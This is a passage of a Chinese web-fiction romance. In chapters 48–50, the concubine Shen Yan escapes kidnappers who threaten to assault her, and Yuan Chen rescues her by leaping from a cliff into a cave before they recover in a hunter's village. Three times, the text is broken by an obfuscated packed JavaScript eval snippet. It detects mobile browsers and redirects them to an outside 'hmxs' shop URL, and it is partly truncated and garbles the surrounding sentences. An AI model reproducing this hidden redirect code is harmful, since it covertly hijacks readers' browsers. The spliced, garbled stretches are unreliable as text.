这般单枪匹马地送上门，元琛何尝不知前方等着他的是什么。 可是沈妍在他们手中，只消迟疑片刻，她的危险便多一分。 元琛不敢冒这个险，也是直到此刻才知晓，涉及沈妍，他当真是输不起。 近年来，桓延寿收拢剑南盐帮的亡命徒并大肆招揽江湖人士，干得全是见不得光的勾当。 一想到沈妍落入这伙人手中，元琛心口便像堵了什么东西，闷得喘不上气。 * 胸口窒闷，头疼欲裂，沈妍迷迷糊糊睁开眼，四周鸦黑一片，她似乎正侧躺在一块硬邦邦的木板上，半边身子硌得生疼。 此外，根据辘辘的车轮声，还有剧烈的颠簸判断，她此刻约莫是身处一辆疾驰的马车中。 用力挣扎了一下，她试图坐起身子，却发现手脚全被捆住，连口中也被塞了东西，想喊，却仅能发出低闷的呜咽。 沈妍很快想起自己原本是在点绛唇二楼的小作坊内，不知为何，当时忽然感觉一阵头昏，恍惚中有个黑影破窗而入，将她打晕…… 所以，她这是……被绑票了？ 又是什么人敢在天子脚下将她绑走？尤其如今她名义上还是卫世子的宠妾。 沈妍一时想不通。 不知过了多久，马车戛然停住。 车门开启，有人动作粗鲁地一把将她拖下马车，继而面朝下扛在肩上。 借着月光，沈妍看清楚她所在之处是半山腰一座破庙跟前。此外，周围还站着数名凶神恶煞的黑衣人。 她不知这些黑衣人究竟意欲何为，一时心下慌乱，奋力挣扎起来，喉咙里发出声声呜鸣。 她想和这些绑匪谈谈，至少弄清楚对方想图什么。 但这伙绑匪显然并不打算理她，一个个对她的抗议恍若未闻，仿佛她只是他们随手携带的一个物件。 48. 肥羊 扛着沈妍的黑衣人一脚踹开庙门，将她丢了进去。 很快，外面传来劫匪们彼此议论的声音。 “为何还没收到得手的信号？”一个嗓音尖锐的男声焦躁道，“那卫世子不会压根就没来救人吧？” 听见“卫世子”三字，沈妍不禁心头一颤：卫世子来救人？救她吗？ 这伙绑匪又急于“得手”什么？莫非他们抓她，实则欲对元琛不利？ 沈妍忽觉一阵头皮发麻，但随即冷静下来。 卫世子那么精明，应该不会上这伙人的当吧？ “不会。”又一个男声说，声音似生锈的铁片在什么上刮擦，“公爷交代，这婆娘是卫世子的软肋，有她在手，何愁引不来真佛。” 沈妍：“……” 公爷又是谁？未免也太看得起她了。 她心里苦笑：这次真是被抓得太冤，她哪里是卫世子的什么软肋？连这个侍妾的名分都是假的。 无论那位公爷是谁，计划是什么，以她为饵，对方恐怕要失手了。 忽又听尖嗓子不耐烦道：“那怎么过这么久了还未见动静？” 铁片嗓接着骂了句脏话，喝道：“急什么，咱们已在来路上留了记号，姓元的不傻，若真在乎这女人，必定会追来。再等等便是。” 话音落地，外面安静了几息。 铁片嗓又道：“你们几个，回去看看，若姓元的进了埋伏圈，帮着一起截杀——务必割下他的人头带来，我与小六子在此看着这个女的。” 此人貌似是这群劫匪的头领，言罢余人纷纷应“是”，紧接着便是一阵轻快迅捷的脚步声。 沈妍此刻靠着墙壁坐在破庙里，后背不知何时起了一层凉汗：卫世子想必不会犯傻吧？ 这么想着，脑中却不知为何闪过平陵郡主对她纵马行凶时，元琛不管不顾地冲过来的画面。 或许，内心某处，她也在隐隐担心元琛会和上次一样。 但愿是她想多了。 沈妍安慰自己——一个契约侍妾而已，就像元琛说的，她只是他手中的一粒棋子。 一粒随时可以丢弃、替换掉的棋子，哪里值得卫世子以身犯险？ 她也不该再有任何不切实际的期待，尤其此刻生死攸关，须得赶快想法子逃走才是。 念及此，沈妍环视四周，试图对自己所处境遇有个大致的了解。 借着月光，她看清楚庙内仅有一尊石塑的佛像，此外便是光秃秃的墙壁。 庙有三道门，此刻山门外站着两个身负武功的劫匪，而她毫无身手，身上五花大绑，口里还塞着东西，连动一下都难，又该如何逃走？ 正没主意，忽听外面尖嗓子又出声道：“头儿，既然公爷意在诱杀卫世子，那这个女人——” “暂时还杀不得。”铁片嗓沉声道，“等看见姓元的人头，再动手不迟。” 尖嗓子却道：“兄弟的意思不是杀。”紧接着是一阵轻浮的怪笑，“头儿也看见了，那小娘子生得白嫩水灵，身段更是一等一的好……您想，连养尊处优的卫世子都视作珍宝，那滋味想必十分销魂。咱们弟兄既然揽下了这桩差事，肥羊又刚好落在你我手中，何不趁机好好消受一番？左右给她留口气便是。” 沈妍在庙内听得骇然心惊，唯愿那匪首顾全大局一些，莫要在她身上打什么歪主意。 殊不知那劫匪头子却是个有野心的，私底下对上位者一概七个不平八个不愤，此刻想到世间有此等尤物，却仅卫世子一人有福消受，不禁被拱起火来。 邪念一起，他越想越咽不下这口气，只不过，比起尖嗓子，匪首却是个有城府的，因重任当前，只得强压着体内燥热，嗔道：“你小子色胆包天，当心误事。” 沈妍听见这句稍觉心安，可惜一口气还没喘匀，又听尖嗓子声音蛊惑道：“哎，能误什么事？左右弟兄们都下山了，这会儿咱们做什么又有谁人知晓？过了这个庙，可就坐失良机了。” 最后一句，他语气带了三分焦躁，七分遗憾，言罢又怂恿匪首：“不如这么的，头儿先上，兄弟给您去前面守着。” 这句说完，外头便没了声音，接下来是一阵远去的脚步声。 * 片刻后，庙门口现出一个高壮孔武的身影。 而时沈妍早已坐直身子，看着来人深吸一口气，下一瞬，她声音镇定地开口：“适才壮士的话我都听见了。你们要的人其实是卫世子，与我无关，只要壮士肯放了我，叫我做什么都行。”最后一句，她语调柔婉上扬，听起来极尽魅惑。 话落，铁片嗓桀桀怪笑几声，随即，反手摔上了庙门：“沈娘子果然善解人意，难怪独得卫世子宠爱。你且放心，只要你乖乖服侍好本大爷，放你离开又有何难？” “当真？” “当真。” 骗鬼去吧！ 沈妍心知这劫匪头子信口开河，不过是为先尝到眼前的甜头。 适才，她听见两名劫匪谈话，已大体知晓了这伙人的德行。 放她离开，绝无可能。 对面，匪首似乎想到什么，面上浮起一抹淫邪：“你从前怎么伺候姓元的，眼下便怎么伺候本大爷。” 沈妍闻言只觉一阵恶心，嘴上却软声应承：“都听壮士的。”同时脑中飞速思索着脱身之法，须臾，娇声嗲气道，“不过，能否先劳烦壮士帮我解开身上的绳索？这绳子勒得人好疼。” 匪首瞄着她，嘴咧得更开了。 解开绳索并不是什么出格要求，何况匪首也不会将区区一个弱女子的反抗放在眼里。 下一瞬，他急吼吼上前，三两下解开了沈妍身上的绳索。 贪婪地紧盯着沈妍藕白的小臂，匪首布满刀疤的脸上浮起一抹贪婪，正迫不及待要将人扑倒，忽被沈妍不轻不重地当胸推了一把。 “急什么？”沈妍噗嗤一笑，媚声说道，趁匪首一个趔趄，壮着胆子跨坐在他身上。 从前在姚府时，曾有教习嬷嬷教过她们如何伺候人。沈妍心中苦笑，万没料到竟在这般情形下派上用场。 “原来如此。”匪首会意，戏谑地打量着沈妍，悠悠一叹，“姓元的果然会享受。” 话未说完，沈妍拎起绳子便往他手腕上缠。 匪首见状瞳孔微缩，警觉地撤开手臂。 沈妍立时故作委屈，娇嗔：“壮士不是想知道妾身怎么伺候卫世子吗？怎么这就怕了？”说着轻轻叹了口气，像在感慨，又像在可怜匪首，“难怪有人能做上高高在上的大将军之位，而有些人却只能落草为寇。” 匪首自是不甘在这种时候被一个女人看轻，闻言骂咧咧道：“少废话！继续。”他料定这柔弱女子在他面前耍不成什么花招。 又见沈妍媚眼如丝，嫩白的柔荑捏着绳索在他腕间缠缠绕绕，匪首三魂已丢了七魄。 很快，沈妍将匪首的两个手腕捆在一处，压向头顶。 随即，她拔下发簪，散开一头如瀑秀发。 趁匪首看得垂涎欲滴，两眼发直，她暗暗攥紧发簪，乘其不备又快又狠地刺向他颈间要害。 生死攸关，沈妍以自己最快的速度出手，怎料匪首动作更快，双臂落下，堪堪砸中沈妍腕间的穴道。 手臂一片酸麻，沈妍不由惊慌后退，便在此时，那匪首霍地起身将她撞倒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776435|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咕咚”一声，沈妍后背磕在凹凸的地面上，疼得钻心透骨。 “贱人！竟敢戏耍本大爷。”匪首咬牙切齿地站起身。 沈妍哪敢耽搁？急忙忍痛爬起来，向后连退数步。 可庙里统共能有多大空间？她又有多少路可退？ 每退一步，那匪首便上前一步。 宛如猫戏老鼠，匪首也不着急了，好整以暇朝着沈妍步步逼近，存心戏耍。 眼看要落入虎口，沈妍急中生智，趁匪首放松警惕，迅速闪身至庙内唯一一座佛像后。 匪首见状不屑地冷嗤一声，跟着大步上前，沈妍慌忙绕着佛像闪避。 如此两次，匪首毕竟被绑着双手，加上有夜色遮掩，一时半刻倒也未能擒住沈妍。 二人这般绕着佛像兜圈子，匪首很快失去耐心，一眼瞥见前方有道黑影，伸脚踹过去，怎料那只是沈妍的影子而已。 这一脚便踹在佛像上。这尊石佛年深日久，而匪首又脚力惊人，这一下，石雕的佛像竟给他踹得碎渣乱溅。 石块打在身上，沈妍忍不住吃痛惊呼一声，心想匪首如此脚力，若落在她身上，她哪还能动弹？ 稍一失神，她动作慢了稍许，被匪首一把抓住袖口。 沈妍惊慌闪身，手臂奋力一挣，几乎同时，匪首又一脚踹来。 这次他用力更猛，沉重力道突如其来落在佛像上，只听“轰”一声响，那石佛竟骤然倒塌，砸向地面，带起的大片烟尘引得沈妍不住呛咳，眼前一片茫然。 周遭却忽然没了声响。 沈妍顾不得烟尘弥漫，睁大眼睛警惕地四下张望，寻找那匪首的身影。 尘埃渐落，月光中，她蓦地瞧见匪首仰面倒在垮塌的佛像之下。 冷硬沉重的石佛不偏不倚，肥墩墩的大肚堪堪砸在匪首头颈上，四周围，不明的晦暗物淌了一地。 方才，那匪首自恃身手不俗，丝毫未将沈妍放在眼中，又想抓住人后好好磋磨一番，故而并未急着喊尖嗓子进来。 后来，他一心想抓住沈妍速战速决，以至于在佛像意外倒塌的刹那未及躲闪，当场被砸毙命。 这厢，沈妍一面后怕，一面忍不住暗自庆幸：匪首竟被佛像砸中，冥冥中也算是恶有恶报了。 她不敢再多耽搁下去，想到山下还有一伙劫匪，不能再往回逃了，干脆咬牙冲出庙门，发足向山顶奔去。 * 上山的路越来越窄，两旁杂乱的树丛不断伸出枝枝叉叉，夜色中宛若张牙舞爪的妖魔鬼怪，令沈妍的逃命之路愈发艰涩难行。 但再苦再难，也总好过落入匪手。 沈妍紧咬着下唇，顾不得双腿酸麻，呼吸艰涩，浑身被树枝划得生疼，跌跌撞撞、深一脚浅一脚向前跑去。 她已经使出吃奶的力气，饶是如此，没过多久还是听见身后有人追来。 “臭婆娘！给我站住！”是那个尖嗓子劫匪。 沈妍心头一凛，冷不防脚底给什么绊了一下，踉跄着向前扑倒。 如此一耽搁，身后的脚步声更近了。沈妍心下骇然，忙不迭爬起来继续奔逃。 不料没跑多远，前方陡然现出一片空荡、浩大的黑暗来。 沈妍一愕，不由脚步放缓，不甘心地上前几步，低头看去：下方深不见底，果然是悬崖。 倒是庆幸今晚月光够亮，倘若适才一个没看清，或是跑得再快些收不住脚，跌下去怕是要粉身碎骨。 然而，不幸的是身后的劫匪眼看追来。 沈妍忽然觉得，命运好像一条紧紧纠缠她的毒蛇，不时龇起沾满黏液的毒牙，阴嘶嘶问她：“你想怎么死？” 49. 赴险 至少，她不想死在劫匪手中。 低头看了眼脚下深不见底的黑暗，沈妍只觉一阵心悸，两腿发软，终究没有勇气跳下去。 再转身时，劫匪却已追到近前。 “跑啊，怎么不跑了？”尖嗓子劫匪狞笑两声，一边不紧不慢逼近沈妍，一边语气轻浮地引诱她，“奉劝小娘子一句，想活命，还是从了我吧。” 沈妍双手死死攥紧发簪，微颤的簪尖指着劫匪，仿佛有这枚小小的利器在手，她便有了依仗似的。 可惜一开口，声音还是带出了哭腔：“你别过来！再上前一步，我便从这里跳下去，如果我死了，卫世子定会为我报仇。” 最后一句，当然是纯属吓唬。 卫世子会替她报仇吗？这话说出来，沈妍自己都没底气。 话音落地，果然引来尖嗓子一声嗤笑：“区区一个侍妾而已，还真拿自己当块宝了？” 他声音越发尖利刺耳，洋洋得意道，“实话告诉你，姓元的事到如今都未出现，要么根本不在意你，要么他已经去阎王爷那儿报道了。”说着又是一阵狞笑。 阴飒飒的山风迎面刮过，刺得沈妍双眼酸涩地快流下泪来。 此刻，她真是恨透了这个残忍恶毒的劫匪，尤其他说到最后两句，无论哪种情况，都像是拿刀尖在往沈妍心口上戳。 就在沈妍心痛失神的霎那，前方，尖嗓子蓦地纵身向她扑来。 转眼人已到了跟前，沈妍尖叫一声，正要举簪刺向对方，却看见尖嗓子身躯陡然一顿。 下一瞬，他整个人像被抽走了魂魄，连个完整的声都未及发出，便“咕咚”一声直挺挺倒在地上。 沈妍这才发现，此人后心不知何时插了一把尖刀，几乎直没至柄。 愕然抬头，不远处，一道颀长的身影正闪电般穿过灌木遮挡，向她急奔而来。 “世、世子？”沈妍有些不敢相信自己的眼睛，讷讷脱口。 * 两炷香前，元琛猜到自己才是敌人真正的目标。 他固然救沈妍心切，却也不是那等一味懵头送死之人。 因自幼在京城长大，又曾戍守京畿，他对南山一带地形早已烂熟于心。 何处有哪几条捷径，何处适合设伏，何处便于藏匿，乃至如果劫匪行刺他不成，又该在何处以人质要挟、诱杀，他全部心中雪亮。 这伙劫匪处心积虑，却万没想到元琛竟是策马绕过了他们设伏的地点，抄小路直奔向半山腰的破庙。 可惜他还是扑了个空。破庙内没有沈妍，元琛只瞧见了一具被压在佛像下的劫匪尸体。 脑中快速闪过沈妍可能遭遇的险情，元琛瞳孔猛缩，一颗心几乎要蹦出胸腔。 强压下一阵慌乱，他凝神思索片刻，反身冲出破庙，上马直奔山顶。 未过多久，果然听见前方有人声传来。 元琛飞身下马，几个箭步穿过矮树丛，随即就看见了悬崖边一道单薄的身影，以及对面正朝她步步逼近的劫匪。 这一幕，元琛直看得目眦欲裂，气血上涌，蓦地掷出飞刀，当场结果了那名劫匪。 想着自己若再迟来一步，便再也见不到沈妍，他心脏像被紧紧揪住，难以言喻的恐惧排山倒海而来。 再也顾不了那么多，他脚步踉跄着冲向崖边那个心心念念的身影。 他错了……今日之种种，只怪他明白得太迟。 沈妍站在悬崖边，愣愣瞧着急步奔来的卫世子，仍有些不可置信。 元琛居然真的赶来救她了，而且，好像还是单枪匹马来的。 可是为什么？一时犯傻，还是真的很在意她？ 即便只是契约关系，也值得他不顾性命、只身赴险吗？ 下一瞬，像在回答她的疑问，就在她怔然出神间，已奔至近前的元琛忽然长臂一伸，将她拉进怀中，紧紧拥住。 这一下，他似乎用了十足的力气，铁箍般的手臂快要将她折断。 “世子，你——” “抱歉，我来晚了。”元琛开口，一时间压抑、痛苦、怜惜、缱绻……种种情愫裹挟之下，嗓音竟是哑得不像话。 沈妍不明白世子为何突然这般反常，但听着这个声音，感受着他坚实、温暖的怀抱，之前种种慌乱、紧张、恐惧……霎那间竟是烟消云散，强撑的精神一松，心头却不知为何涌起铺天盖地的委屈。 情不自禁抬起手臂，她反手拥住了元琛，忍不住啜泣出声。 元琛一下下轻抚着她后背，像安慰，像心疼，他将下颌埋进沈妍颈窝，声音闷闷的带着一点鼻音：“我的错。” 沈妍怔了怔，似乎没想到卫世子居然也会给人道歉。 恍惚间，元琛似乎放开手臂，上下打量着她，声音紧绷地问：“有没有受伤？” 沈妍木然摇了摇头，道：“只是害怕。” 元琛闻言，眉眼间似是一松，这次却是温柔地将她搂进怀中，手臂一点点收紧：“别怕，我在。” 磁沉的声音低低柔柔，萦绕在沈妍耳际，让她于心安之外，情不自禁微微战栗。 但随即缓过神来，后知后觉地意识到两人的失态。 而元琛仍沉浸在自己的情绪里，他心知沈妍虽看似柔弱，其实性子倔强得很，从不肯轻易向人低头。 此时却哭得梨花带雨，固然是伤心、委屈至极，但也只有在她真正信任的人面前才会如此。 意识到这一点，元琛一时又是欣慰，又是心疼，一颗心快化成了水。 忽听沈妍惊声叫道：“小心！” 就在刚刚，沈妍瞥见前方树丛中有几道人影一闪，却不是劫持她的那批黑衣人是谁？ 话音未落，元琛已拥着她就地滚到一旁。 期间，利刃撕开气流的声音不住从耳畔划过。二人动作停住时，身旁的草丛中已刺猬般插满了暗器，在月光下闪着幽幽寒光。 两名身手矫捷的黑衣人率先冲上来。 而元琛已经翻身站起，将沈妍拉到身后，长剑出鞘，顺手砍翻一人，剑芒闪烁间，顺势将另一劫匪的手臂齐根斩断。 伴随着那人撕心裂肺的惨呼，又有四五名黑衣人冲上山顶，其中有围攻元琛的，也有冲着沈妍来的。 元琛以一敌多，加上还要护着沈妍，不多时渐落下风，一不留神手臂被一名劫匪的刀尖划出一道深深的血口。 手臂传来尖锐的刺痛，元琛眼看又有更多劫匪涌上山头，照此下去，他和沈妍今晚非交代在这不可。 念及此，他骤然剑走偏锋，刺中一名死缠着他的劫匪，边战边护着沈妍快步退到悬崖边：“阿妍，你可信我？” 他声音依旧从容淡定，听不出什么情绪，但沈妍岂能看不出，两人此时已是身陷绝境。 看了一眼身后的悬崖，她再次看向身侧的元琛。这位世人眼中的天之骄子，此刻身边本不知该有多少人追随、守护，他却不惜为她以身犯险。 无论背后的原因是什么，他能出现在她身边已表明一切。 此生能得一人如此相待，对她而言，已经足够了。 她点点头，望着元琛：“我信。” 话音落下，后者蓦地伸臂揽住她腰肢， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796921|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了声“闭眼”，随即，在一片乱刀砍来前后退数步，拥着她坠落山崖。 群匪显然没料到这一变故，面对着前方空荡荡的悬崖，一时面面相觑。 低垂的夜幕中，沈妍感觉到自己在疾速坠落，腰间，元琛的手臂依旧紧箍着她。而侧后方，他的身躯与她紧贴在一起，为她驱散了夜的寒冷。 头顶上空，群匪的呼喝声迅速远去，同时耳畔清晰地传来金属与山石的刮擦声。 没过多久，下坠之势却是陡然一缓。 沈妍诧异地睁开眼，借着月色，只见元琛空出来那只手正紧握着匕首，划过光秃秃的山岩，在上面带起星星点点火花。适才他便是如此减缓了下落之势。 男人线条清晰的侧颜专注而坚定，身上好闻的雪松香缠绕、包裹着沈妍，令她感觉无比心安。 哪怕是身处万丈悬崖。 坠落感终于消失，沈妍环顾四周，两人竟是不上不下挂在了半山腰。 * “此间有个山洞。”元琛说着搂着沈妍朝斜下方某处纵身一跃。 那有块突出的岩石，沈妍适才也注意到了。 等再次站稳脚跟，沈妍定睛一瞧，岩石后面果然有个半人高的山洞。 “世子怎会知道这里有山洞？”讶然望着元琛，她脱口问道。 后者薄唇勾唇，黑沉沉的凤眸似笑非笑：“适才沈娘子不惜以性命相托，在下岂能辜负？” 闻言，沈妍表情僵了僵。 跳崖前，她确实做好了赴死的心理准备，甚至觉得能和元琛死在一起，死亡也并非那么可怕的事。 此刻绝境逢生，想起自己跳崖前的反应以及所说的话，已全部被元琛知晓，顿觉耳根连着双颊一片滚烫，幸而有夜色遮掩。 不过，这都什么时候了？他居然还有心思开玩笑…… 元琛见面前少女羞赧地微微颔首，长睫垂下，盖住眼底有些复杂的神色，他不觉怔然出神，喉结上下滚了滚。 后背某处传来清晰的刺痛。元琛皱眉，闷哼一声。 沈妍已醒过神，看元琛身形踉跄了一下，即使月色朦胧，依然不难看出他面色惨白异常。 细看之下，她这才注意到，元琛肩头玄衣上，不知何时泅出了一小片深色，似是血迹。 她急忙凑过去，循着那片血迹，只见他肩后不知何时竟是中了一枚菱花形暗器，周围大片暗色染湿了半边肩膀，直蔓延至后心。 “你受伤了？”沈妍心下惊慌，颤声道。 “暂时死不了。”元琛语气平铺直叙，听着与平时无甚差别，只不过声音略显低弱，“但可能需要麻烦你一下。”说着他上前几步，在山洞前的一块大石上坐下。 沈妍立刻跟上前去，弯腰小心翼翼帮元琛解开外袍，避开伤处，将染血的半边衣袍慢慢褪下，接着，再依次除去中单，按照元琛所说，用匕首将洁净的衣物裁成数条备用。 她找到元琛随身携带的金创药，先在他手臂的刀口上洒了一些。 下一步就要拔出肩后那枚已然入骨的菱花镖。 沈妍于此全无经验，担心无法一次拔除，又担心下手没个轻重，会弄疼元琛，一时紧张得快要哭出来。 但她心知处理伤口要紧，只得战战兢兢转到元琛身后。 这会儿顾不上什么避讳，月色下，只见男人宽肩窄腰，背上肤色细润莹白，上面覆着一层薄肌，既不瘦弱，也不过于健壮，而是结实修长，线条匀称。 沈妍不由自主心尖颤了颤，凝眉定了定心神，这才紧咬住下唇，抖抖索索向那枚暗器伸出手去。 50. 山洞 光是摸到那冷硬如冰的玄铁，沈妍已感觉手脚发软，但她心知此事不能耽搁，深吸一口气，双手轻颤覆在暗器上。 在她视线之外，元琛此刻正偏头看着她，忽莞尔道：“我自己来吧。” 沈妍：“啊？” 愕然抬睫，正对上一双狭长的凤眸，眼底含着清浅温软的笑。 “世、世子可以吗？还是我来吧。”沈妍不放心，英勇就义般说道。 “无妨。”元琛说道，宽慰的语气听着倒好像沈妍才是那个伤者。 见他态度笃定，沈妍终是不好意思地撤了手。 元琛修长指骨摸到肩后，果然用两根手指夹住暗器，骤然发力下，随着一声低哼，菱形镖连着皮肉一并被扯下来，又带出好大一滩血水。 沈妍慌忙拿备好的干净衣物帮他堵住伤口，又在上面洒金创药，最后用裁好的布条将伤口裹好。 事后，二人均是一身凉汗。 这厢，元琛闭目调息，沈妍看他仿佛被抽光了力气，豆大汗珠沿着额角缓缓淌落，原本鲜润近妖的唇色，在月色下一片惨白。 沈妍喉头紧了紧，指尖下意识地捏紧裙摆。 等元琛稍缓过来一些，沈妍便将他扶走进山洞。 洞内有一块平滑的大石，附近堆着些干草和树枝。 沈妍让元琛背靠大石坐下，才刚将人放下来，她便打了个喷嚏。 此时虽已入夏，山间的夜晚依旧沁凉入骨。 “石头下面，靠里一侧有火石、火绒，你找找看。”元琛有气无力道。 沈妍按他所说，果然在石头下方找到了火石等物。 看来元琛早就知晓这个山洞，之前，他毫不犹豫地带她跳崖摆脱群匪，自是十分熟悉山中地形。 他原本就在京中长大，如今又负责京城守卫，说不定火石这些都是他早前安排人备下的。如此一想，沈妍之前的疑窦瞬间解开。 又听元琛说道，从这个山洞继续往里去有个出口，出口外便是一条下山的小径，等闲人无从知晓。等天亮后，他们可以从那里出去。 沈妍一一答应着，看元琛精神不济，也未再多问什么。 起身找来一些干柴，擦着火绒，她在洞中点起火堆给两人取暖。 生完火扭头一看，元琛脸色越发白得吓人。 适才替他包扎时，她观察过他伤口的色泽，也闻过气味——暗器上应该没有毒，元琛此刻这般，不知是否因为失血太多…… “你感觉如何？”沈妍担忧地望着他。 “我想先小睡片刻。”他声音低低轻轻，言罢合上眼，半晌未出一声。 沈妍听他呼吸轻浅绵长，似乎已经睡着。 今晚与劫匪一番周旋，斗智斗勇，别说元琛，她自己也是疲累至极。 给元琛盖好外袍后，她也靠在他旁边小憩。 不知过了多久，沈妍被一个含混的声音唤醒。 偏头见元琛好像仍在睡着，却长睫轻颤，口中发出含混的呢喃。 沈妍凑过去，及至听见他说的是“阿妍……”不由一怔。 上次牡丹宴后，他喝醉了酒，在轿中也是这般叫“阿妍”…… 人在无意识时最易暴露内心，莫非从那时起，他便在心中默默叫她“阿妍”了？ 这念头一起，沈妍顿时有种异样的感觉，心底柔柔的，像长满了水草，却又奇怪既然如此，他为何要将心意藏得滴水不漏？ 此刻没工夫细想，轻唤了元琛两声后，沈妍看他全无反应，忙伸手去触他额头。 这一下不禁吓了一跳，元琛额头滚烫，竟是在发高烧。 沈妍又看他害冷般身子微颤，当即想也未想，一把将人揽在怀中，手臂轻轻收紧。 如此过了好一会儿，元琛的烧终于退了一些，安静睡去。 * 沈妍却是未敢再合眼，不知过了多久，洞口两端渐渐有浅白的天光照进来。 看样子应该可以下山了。 她连忙叫元琛，对方只是含糊地应着。沈妍皱眉摸了摸他额头，还是烫的。 他伤得不轻，须得尽快想法子离开这里，否则后果不堪设想。 沈妍扶元琛起来时才发现他脚下虚弱无力，连站着都很勉强。 起先，她还能半扶半架，带着他走出山洞，后来，看元琛走路都有些吃力，她只好试着把人背起来。 这才发觉，元琛虽然看着劲瘦，人却沉得很，刚背上来便压得她踉跄几步，险些一起摔倒。 她却哪肯放弃，咬牙坚持下勉强还能背动，可惜走不了多远便要停下歇息一会儿。 脚下是一条弯曲绵延的小径，狭窄且不规则，很像被人生生踩出来的。 小径大半被两旁的杂树与荒草掩盖，不仔细看很难发现，怪不得元琛之前说等闲人并不知晓。 沈妍背着元琛一路跌跌撞撞前行，不知走了多久，总算挪到了山脚下。 耳畔隐约传来淙淙流水声，沈妍瞥了眼元琛干裂的嘴唇，想到他受伤后，从昨晚至今还未曾喝过一口水，于是加快脚步循声找去。 不多时，果然看见前方有道清澈的溪流。 她扶着元琛背靠一棵大树坐下来，独自去溪边寻了片宽阔的树叶洗涮干净，舀了清水回来喂给元琛，终于，那对干燥的唇瓣滋润了稍许。 耳畔传来清晰的咕噜声，沈妍揉着肚子樱唇微抿，抬眸盯着不远处那条小溪：不知有没有可能抓条鱼什么的。 其实她自己倒还好，主要是元琛还受着伤，不吃东西更难恢复。 念及此，她毫不犹豫地直奔溪流而去，不想鱼没找着，却看见有只山鸡划着弧线从天上掉到溪边。 沈妍看见山鸡，先是心头一喜，继而注意到山鸡身上插着一支羽箭，不禁又是一惊。 毕竟，不知那伙劫匪会不会追来。她动作麻利地退到元琛跟前，架着他躲到附近的树丛中悄悄观察。 不多时，溪边赶来一人，却是个须发斑白，呈猎户打扮的大叔。 看见来人喜滋滋从溪边捡起那只山鸡，沈妍心念一动，钻出树丛上前搭话。 大叔说他是附近村子里的猎户，因此地水草丰茂，常有山鸡、野兔出没，故而常来这边打猎。 言罢，他诧异地打量沈妍，说这里偶尔会有猛兽出没，又问她一个姑娘家为何独自来到这荒郊野岭。 沈妍瞧着猎户面善，却因元琛身份特殊，恐万一泄露出去，被劫匪找来惹上麻烦，于是信口胡编了一个郎情妾意的故事。 说她是上都城大户人家的婢女，昨日陪公子至南山游玩时意外跌落山崖，公子为救她身负重伤，恳求猎户好心搭救，事后必有重谢。 猎户闻言不疑有他，很快牵了一匹马过来，和沈妍一道将元琛扶上马背。 如此这般，三人一马行了七八里山路，终于来到猎户所在的村子。 沈妍打量猎户家是一处独立幽静的小院，院内有一大一小两栋茅草屋，仅住着猎户夫妇二人。 猎户大叔木讷寡言，相较而言，大婶则和蔼健谈许多。 她向对方道明情由后，将身上仅存的首饰摘下来交给大婶，问能否在其家中叨扰几日，等公子伤好后他们便离开，拜托猎户夫妇照顾一二。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818652|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大婶听她说着已对沈妍投以同情的目光，闻言当即点头应允，却坚决不肯收下首饰：“不过是添两双筷子而已，哪里用得着这么多？” 沈妍遂道还要麻烦他们给元琛请郎中，这些是看病、买药的钱。大婶这才勉强留下了一对耳坠，将他们安置在平时存放杂物的茅屋中。 沈妍烧了热水给元琛重新处理了伤口，又托猎户大叔到附近镇子上请来一位郎中，给元琛开了外服兼内用的药。 她在院外盯着熬好后给元琛服下，又请大婶帮忙炖了山鸡菌子汤，等元琛病情稍缓，喂他喝了些，沈妍这才如释重负地安顿他睡下。 * 元琛这一觉一直睡到日暮时分。 期间，沈妍从大婶处借了套干净的衣裙，重新挽了个简单的发髻，便去院中给元琛煎药，准备暮食。 忙完返回茅屋，看元琛似还睡着，她索性拧了块湿抹布，边擦抹木屋桌椅上的浮灰，边有一搭没一搭思量着元琛养伤及回京诸事。 不经意转身，对面床上，元琛不知何时已经坐起身来，此刻正倚着床头定定注视着她，莹亮黑眸隐在床头暗影中，似泛着灼灼的光。 对上他的视线，沈妍的心无端漏跳了一下，忙从元琛处移开眼，撂下手头的活走过去：“世子何时醒的？觉得如何？怎么也未喊妾一声？” 元琛没说话，眸光却仿佛长出软丝般缠在她身上。 仿佛有所感应，沈妍浑身一阵不自在，须臾恍然意识到自己的一身打扮，讪笑道：“穿成这样是不是有点奇怪？” 元琛摇摇头，微垂睫羽，盖住了眸底神色：“抱歉，”他说，“昨晚那群劫匪的目标其实是我，是我连累了你。”一直都是我连累了你。 沈妍闻言怔住，似没想到这种道歉的话会从卫世子口中听到，而且还说得如此郑重。 少顷醒过神，她在元琛床边的杌子上坐下来，抬眸看着元琛，认真说道：“此事我在南山庙中便已知晓，那不是世子的错，我也从未因此怨怪过世子。” 